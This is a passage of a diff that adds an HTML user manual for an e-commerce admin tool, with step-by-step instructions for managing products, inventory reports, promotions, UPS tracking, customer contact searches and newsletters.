+recommended way for removing the product is to change the status to
+&ldquo;<B>Inactive</B>&rdquo;. By removing the product this way, it
+makes it easier for you in the long run because if you decide to
+start selling the product again you will not have to add all the
+information again, you will just have to change the status to
+&ldquo;<B>Active</B>&rdquo;. At the bottom section of the page, there
+is a pull down menu next to the label &ldquo;<B>Status</B>&rdquo;.
+Click that menu, and then click <B>&ldquo;Inactive&rdquo;.</B> <I>See
+Figure 7.</I> Just below that is a text box next to the label &ldquo;<B>promo
+message&rdquo;. </B>This is a reminder for yourself about why you
+removed the product. In this box you can type the reason for removing
+the product, or when you expect it in for shipment. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">The
+other option is to permanently delete the product. Use this option if
+you know for sure that you will not be selling the product again, or
+you made a mistake and would like to delete the product. To
+permanently delete the product do this click the &ldquo;<B>Delete</B>&rdquo;
+button on the bottom.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+4: Update Product</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have changed the product&rsquo;s &ldquo;<B>Status</B>&rdquo; to
+&ldquo;<B>Inactive</B>&rdquo;, click the button at the bottom of the
+page labeled<B> <BR>&ldquo;Update Product&rdquo;.</B> </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT COLOR="#ff0000"><IMG SRC="ShoppingSuite_1.0_html_2029294c.png" NAME="Graphic8" ALIGN=BOTTOM WIDTH=264 HEIGHT=81 BORDER=0><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+7</FONT></I></B></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+A PRODUCT</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Find the Product</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+on &ldquo;<B>Products</B>&rdquo; on the top menu. Here you will find
+the same list of categories as when we added the product. We need to
+find the product in these categories. Choose the category that the
+product is in. There are two buttons next to the category, the first
+one says &ldquo;<B>edit</B>&rdquo;. If the second button next to the
+category says &ldquo;<B>products</B>&rdquo; click it the button and
+skip to Step 2. If second the button says &ldquo;<B>subcategory</B>&rdquo;
+you will have to choose the product out of a subcategory, just like
+you did when you added the product. Again, the goal is to have the
+second button next to the category say &ldquo;<B>products</B>&rdquo;,
+once you have reached this point, click the button &ldquo;<B>products</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Modify the Product&rsquo;s Property</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+to the product we want to remove, click the button labeled <B>&ldquo;edit&rdquo;.</B>
+Next you will see the all of the products properties (price,
+description), which is the same view as when we added the product.
+Find the property that you would like to update and change it. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Update Product</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that the change you made is correct and click the button at the
+bottom of the page labeled<B> &ldquo;Update Product&rdquo;.</B> </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Inventory
+Report</B></FONT></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>VIEW
+THE INVENTORY REPORT</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Open the Inventory Report</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+on &ldquo;<B>Inventory Report</B>&rdquo; located on the top menu.
+Next you will see a menu that you can pull down containing the
+categories of your online store. Choose the category you would like
+to see the inventory report.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Understand the Report</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">This
+inventory report displays all of the products you have in the
+category you chose in Step 1. <I>See Figure 8.</I> Under the category
+are subcategories with products under them. For every product there
+are three properties that are listed:</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Price:</B>
+       The price of the product.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Avail:</B>
+       The quantity of products <BR>currently available.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>WT:</B>
+       The weight of the product.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Status:</B>
+       The status of the product:                      <I>Active:</I> The customer
+       can<BR>             purchase this product.<BR>             <I>Inactive:</I>
+       You are not allowing any<BR>             sales of this product. The
+       product<BR>             could be out of stock or no longer an<BR>   
+                item you carry.<BR>             <I>Special:</I> This
+       product is on special.<BR>             <I>New:</I> This product is
+       new to your<BR>             store.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_m7d3719bd.png" NAME="Graphic9" ALIGN=BOTTOM WIDTH=263 HEIGHT=93 BORDER=0><FONT FACE="Arial, sans-serif"><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+8</FONT></I></B></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>PRINT
+THE INVENTORY REPORT</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Open the Inventory Report</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+on &ldquo;<B>Inventory Report</B>&rdquo; on the top menu. Here you
+will see all of the products you currently have in your store.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Print the Inventory Report</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+on the <B>&ldquo;Print Report&rdquo;</B> button in the upper
+left-hand corner of the report. <I>See Figure 9.</I></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_353ca12d.png" NAME="Graphic10" ALIGN=BOTTOM WIDTH=263 HEIGHT=93 BORDER=0><FONT FACE="Arial, sans-serif"><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+9</FONT></I></B></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+A PRODUCT USING THE INVENTORY REPORT</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Open the Inventory Report</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+on &ldquo;<B>Inventory Report</B>&rdquo; located on the top menu.
+Next you will see a menu that you can pull down containing the
+categories of your online store. Choose the category you would like
+to see the inventory report.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Modify the Product</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">This
+inventory report displays all of the products you have in the
+category you chose in Step 1. <I>See Figure 8.</I> Under the category
+are subcategories with products under them. To modify a particular
+product, simply click the product&rsquo;s name. Next you will see all
+the products properties that you can edit. Modify the properties that
+you would like to change.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Update Product</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Verify
+that the information you changed is correct, then click the &ldquo;Update
+Product&rdquo; button at the bottom.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Shop
+Promotions</B></FONT></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Shop
+promotions allows the customers to have the option of having their
+orders arrive by a specific holiday and also gives you a opportunity
+to add a promotional code for customers to receive a discount.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+HOLIDAY SHIPPING</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: The Message</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+&ldquo;<B>Shop Promotions</B>&rdquo; on the top menu. Next you will
+see several places that you can enter text. The places we want to
+focus on are the top two. <I>See Figure 10.</I></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Holiday Shipping Question</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Type
+in a holiday shipping question such as, &ldquo;<B>Would you like this
+to be delivered by Christmas?</B>&rdquo;. This text, along with a
+checkbox, is displayed with each shipping destination on the checkout
+page. Customers will select the checkbox to indicate if they want
+materials for a shipping destination delivered for a holiday. If this
+field is empty, no holiday shipment checkbox will be presented to the
+customer.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Holiday Shipping Message</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Type
+in text that will confirm the holiday shipment such as &ldquo;<B>Your
+package will be shipped to arrive by Christmas</B>&rdquo;. This text
+is displayed on invoices where shipping for holiday is selected by
+the customer.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+4: Save</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Confirm
+that the information you entered is correct, then click the button on
+the bottom named &ldquo;<B>Save</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><IMG SRC="ShoppingSuite_1.0_html_3d1ede38.jpg" NAME="Graphic11" ALIGN=BOTTOM WIDTH=264 HEIGHT=104 BORDER=0></P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 8pt"><I><B>Figure
+10</B></I></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+A PROMOTIONAL CODE</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: The Message</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+&ldquo;<B>Shop Promotions</B>&rdquo; on the top menu. Next you will
+see several places that you can enter text. The places we want are
+the bottom three. <I>See Figure 11.</I></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Promotional Message</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Type
+in the message that will ask the customer for a promotional code.
+Such as &ldquo;<B>Enter your promotional code</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Promotional Code</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Type
+the promotional code. If you have more than one use a comma
+<BR>separating them.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+4: Promotional Discount</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Type
+the percentage off the order the customer will receive when they type
+in the promotional code correctly. This amount will be subtracted the
+customer&rsquo;s invoice.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+5: Save</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Confirm
+that the information you entered is correct, then click the button on
+the bottom named &ldquo;<B>Save</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><IMG SRC="ShoppingSuite_1.0_html_m7060cdf7.jpg" NAME="Graphic12" ALIGN=BOTTOM WIDTH=263 HEIGHT=145 BORDER=0></P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 8pt"><I><B>Figure
+11</B></I></FONT></FONT></P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>UPS
+Tracking</B></FONT></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>UPS
+Tracking allows you to enter in the tracking number for the shipment
+of a particular order, which then allows the customer to lookup this
+information and track their package.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+TRACKING INFORMATION TO AN ORDER</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+1: Enter Order Number</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+on &ldquo;<B>UPS Tracking</B>&rdquo; located in the top menu. You
+then will see a box asking for the order number you would like to add
+the tracking number to. Type the order number in and click &ldquo;<B>Recall</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Enter Tracking Number</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see information for that particular order. In the textbox
+under Destination / Tracking #&rsquo;s enter the tracking number for
+the shipment then click <B>&ldquo;Save&rdquo;</B>. This will save the
+tracking information to the UPS database so your customers can track
+where their shipment is at in their computer. <I>See Figure 12.</I></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR><IMG SRC="ShoppingSuite_1.0_html_17e55d9c.png" NAME="Graphic13" ALIGN=BOTTOM WIDTH=264 HEIGHT=132 BORDER=0><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+12</FONT></I></B></FONT></P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Contacts</B></FONT></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">This
+is a contact database comprising of everyone that has placed an order
+in your online shop. If your website also has an online form, the
+data from that form can also be pulled into this database from
+everyone that has requested information online from your business. </FONT></FONT>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>FIND
+CUSTOMERS</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: &ldquo;Search records for:&rdquo;</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+&ldquo;<B>Contacts</B>&rdquo; in the top menu, next you will see the
+contact database query interface.<I> See Figure 13.</I><B> </B>In the
+box entitled: &ldquo;<B>Search records for:</B>&rdquo; type in the
+customer&rsquo;s name to find a specific customer. If you want to
+search for email addresses only, simply type in a &ldquo;<B>@</B>&rdquo;
+symbol here. You can also query contacts alphabetically. For example,
+to query all of the contacts whose last name starts with &ldquo;<B>A</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Search where?</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">In
+the box under &ldquo;<B>In Fields</B>&rdquo; choose what fields that
+you would like to search the database for. Since our example is
+search for the name John Smith it wouldn&rsquo;t make since to search
+anything else but the &ldquo;<B>First Name&rdquo; </B>and &ldquo;<B>Last
+Name&rdquo;</B>. If you were searching for only emails, then you
+would select the email option. To select multiple &ldquo;I<B>n
+Fields</B>&rdquo; you must hold down the CTRL key while clicking the
+options.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Step
+3: &ldquo;Output of records:</B>&rdquo;</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">In
+the second section named &ldquo;<B>Output of records</B>&rdquo; you
+now have to decide what we are looking for about the customer. In the
+example provided, in addition to the first and last name, we also
+want to know what city John Smith lived in. So you would select
+&ldquo;<B>First Name&rdquo;</B> and &ldquo;<B>Last Name&rdquo;</B>
+and also &ldquo;<B>City&rdquo;</B>.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Optional
+Step 4: &ldquo;File output:</B>&rdquo;</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><A NAME="OLE_LINK5"></A>
+<FONT SIZE=2><FONT FACE="Arial, sans-serif">Also in this section,
+&ldquo;<B>Output of records</B>&rdquo; you can have the database
+return the information to you in a file format. This can be useful
+for importing this data into a mail merge program to create mailing
+labels.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_mb007b69.jpg" NAME="Graphic14" ALIGN=BOTTOM WIDTH=263 HEIGHT=240 BORDER=0><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+13</FONT></I></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+5: Search!</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the search information is correct and click the button at
+the top named &ldquo;<B>Submit Query</B>&rdquo; next we will see a
+summary of what you are now asking the database to return back to
+you, click &ldquo;<B>Send Query</B>&rdquo; and John Smith and the
+city he lives in will then be displayed.<B> </B>If you have selected
+a file output, you will see a link at the bottom of the results page.
+Click on the link and save the file to your computer.</FONT></FONT></P>
+<H1 CLASS="western" STYLE="page-break-before: always"><FONT COLOR="#808080">Retail
+Newsletter</FONT></H1>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">The
+Retail Newsletter is a great way to send newsletters and press
+releases to your contact database (contacts). This can be useful if
+you wish to announce a new product to your current customers
+database.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+A NEWSLETTER</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+1: Add item</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><A NAME="OLE_LINK4"></A>
+<FONT SIZE=2><FONT FACE="Arial, sans-serif">Click &ldquo;<B>Retail
+Newsletter</B>&rdquo; on the top menu. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you might see some past newsletters, above them are four options.
+Click <B>&ldquo;Add an item</B>&rdquo; from those options.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
